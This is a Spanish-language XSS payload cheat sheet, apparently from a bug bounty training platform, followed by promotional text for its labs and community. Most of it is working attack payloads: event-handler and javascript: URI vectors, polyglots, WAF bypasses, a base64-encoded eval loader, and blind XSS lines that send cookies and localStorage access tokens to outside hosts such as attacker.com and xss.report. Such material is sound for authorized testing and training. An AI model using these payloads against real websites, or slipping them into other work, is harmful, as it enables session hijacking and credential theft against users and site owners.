Cheatsheet XSS
Cross-Site Scripting
Referencia rápida
- →Siempre probar <svg onload=alert(1)> como primer vector - funciona en la mayoria de contextos
- →Si alert() esta bloqueado en iframes cross-origin (Chrome 92+), usar print() como alternativa
- →Los event handlers como onfocus+autofocus no requieren interaccion del usuario
- →Para blind XSS, inyectar payloads en campos que puedan ser vistos por admins: tickets de soporte, formularios de contacto, user-agent
- →Probar siempre payloads sin event handlers usando javascript: URI en href, action y formaction
Payloads basicos
Script clasico
'"><script>alert(document.cookie)</script>
IMG onerror
"><img src=1 onerror="alert('XSS')">SVG onload
<svg onload=alert(document.domain)>
Iframe srcdoc
<iframe srcdoc='<script>alert(1)</script>'>
Input autofocus
<input onfocus=alert(1) autofocus>
Details ontoggle
<details open ontoggle=alert(1)>
Body onload
<body onload=alert(1)>
Marquee onstart
<marquee onstart=alert(1)>
Event handlers sin interaccion
Autofocus universalCasi todos los elementos soportan autofocus en navegadores modernos
<xss onfocus=alert(1) autofocus tabindex=1>
Video onerror
<video src=x onerror=alert(1)>
Audio onerror
<audio src=x onerror=alert(1)>
Transition event sin styleChrome aplica outline por defecto a elementos focusables
<xss style="display:block;transition:outline 1s;" ontransitionend=alert(1) id=x tabindex=1>test</xss>
Object data
<object data=javascript:alert(1)>
SVG use con data URI
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg'><image href='1' onerror='alert(1)' /></svg>#x" />
Sin event handlers (javascript: URI)
Anchor href
<a href=javascript:alert(1)>click
Form action
<form action=javascript:alert(1)><input type=submit>
Button formaction
<form><button formaction=javascript:alert(1)>click
Math href
<math><brute href=javascript:alert(1)>click
Iframe srcdoc encoded
<iframe srcdoc=%26lt;svg/o%26%23x6Eload%26equals;alert%26lpar;1)%26gt;>
SVG xlink:href
<svg><script xlink:href=data:,alert(1)></script>
Blind XSS
Script externo (xss.report)
"><script src=https://your.xss.report/payload></script>
IMG fetch cookies
"><img src=x onerror="fetch('https://your.xss.report/?c='+document.cookie)">Base64 evalPayload codificado en base64 dentro del atributo id
"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Ii8veHNzLnJlcG9ydC9zL004U1pUOCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs= onerror=eval(atob(this.id))>
JS.rip callback
"><script src="https://js.rip/l5j9hbki0b"></script>
Polyglots
Polyglot universal
jaVasCript:/*-/*`/*\'`/*"/**/(/* */oNcliCk=alert() )//%%0teleD/teleD/oN/teleN/on/teleN/on/oN/teleN/teleD//on//%0e%0e%0e%0e//oN\teleN\oN\
Cierre de contextos multiple
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
Escape de script y style
'"--></style></script><script>alert(1)</script>
Polyglot click/alert
" onclick=alert(1)//<button ' onclick=alert(1)//> */ alert(1)//
Multi-contexto
javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/*
DOM XSS y tecnicas avanzadas
postMessage innerHTMLCuando el handler usa innerHTML con e.data sin sanitizar
<iframe src="https://target.com/" onload="this.contentWindow.postMessage('<img src=1 onerror=print()>','*')">Swagger-UI DOM XSSSwagger UI acepta configUrl/url como parametro
?configUrl=https://attacker.surge.sh/test.json
Cookie exfiltration via fetch
<script>fetch('https://attacker.com/?c='+document.cookie)</script>localStorage exfiltration
<script>new Image().src='https://attacker.com/?t='+localStorage.getItem('access_token');</script>Funciones sin parentesis (tagged template)Chrome 92+ bloquea alert en iframes cross-domain, usar print() como alternativa
alert`1337`
Sort call sin parentesis
[].sort.call`${alert}1337`Bypass de WAF
| WAF | Técnica | Payload |
|---|---|---|
Cloudflare | HTML entities en SVG | <svg onload=alert(1)> |
Imperva Incapsula | Tab en atributo + unicode | "><style/onload co\u006efirm()></style> |
Akamai | Unicode escape en handler | <img src=x onerror=\u0061lert(1)> |
ModSecurity | Null byte insertion | <img src=x onerror=alert(1)%00> |
F5 Big IP | onwheel event | <body style="height:1000px" onwheel="alert(1)"> |
Generic | Base64 + atob con backticks | <img src=x onerror=location=atob`amF2YXNjcmlwdDphbGVydChkb2N1bWVudC5kb21haW4p`> |
Herramientas
Dalfox
Scanner XSS automatizado con soporte para blind XSS y bypass de WAF
dalfox url "https://target.com/?q=test" --blind https://your.xss.report
XSStrike
Fuzzer XSS avanzado con analisis de contexto y generacion de payloads
python3 xsstrike.py -u "https://target.com/?q=test" --crawl
kxss
Filtra URLs con parametros reflejados potencialmente vulnerables a XSS
echo "https://target.com" | gau | kxss
DOM Invader
Extension de Burp para detectar DOM XSS, postMessage y prototype pollution
Activar en Burp Suite > Embedded Browser > DOM Invader
Contenido relacionado
¿Listo para practicar?
Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.
Ver labs de prácticahunters entrenando
labs de hackeos reales
completaciones
pagados por estos bugs
La checklist que repaso en cada objetivo nuevo
47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.
Te das de baja en un clic, desde cualquier correo.
Deja de leer sobre bugs y empieza a cazarlos
Crea tu cuenta gratis y practica sobre labs basados en hackeos reales que pagaron miles de euros. La Academy es gratis para siempre.
Sin tarjeta · Academy gratis · cancela cuando quieras
La comunidad
Esto no es una plataforma con usuarios.Es gente rompiendo lo mismo que tú.
Dentro se pregunta, se enseña lo que se ha encontrado y se resuelve en grupo lo que atascaría a cualquiera solo. Se entra gratis: sin cuenta, sin plan y sin dejar el correo.

Es gratis y abierto. No hace falta tener cuenta en BBLABS para entrar.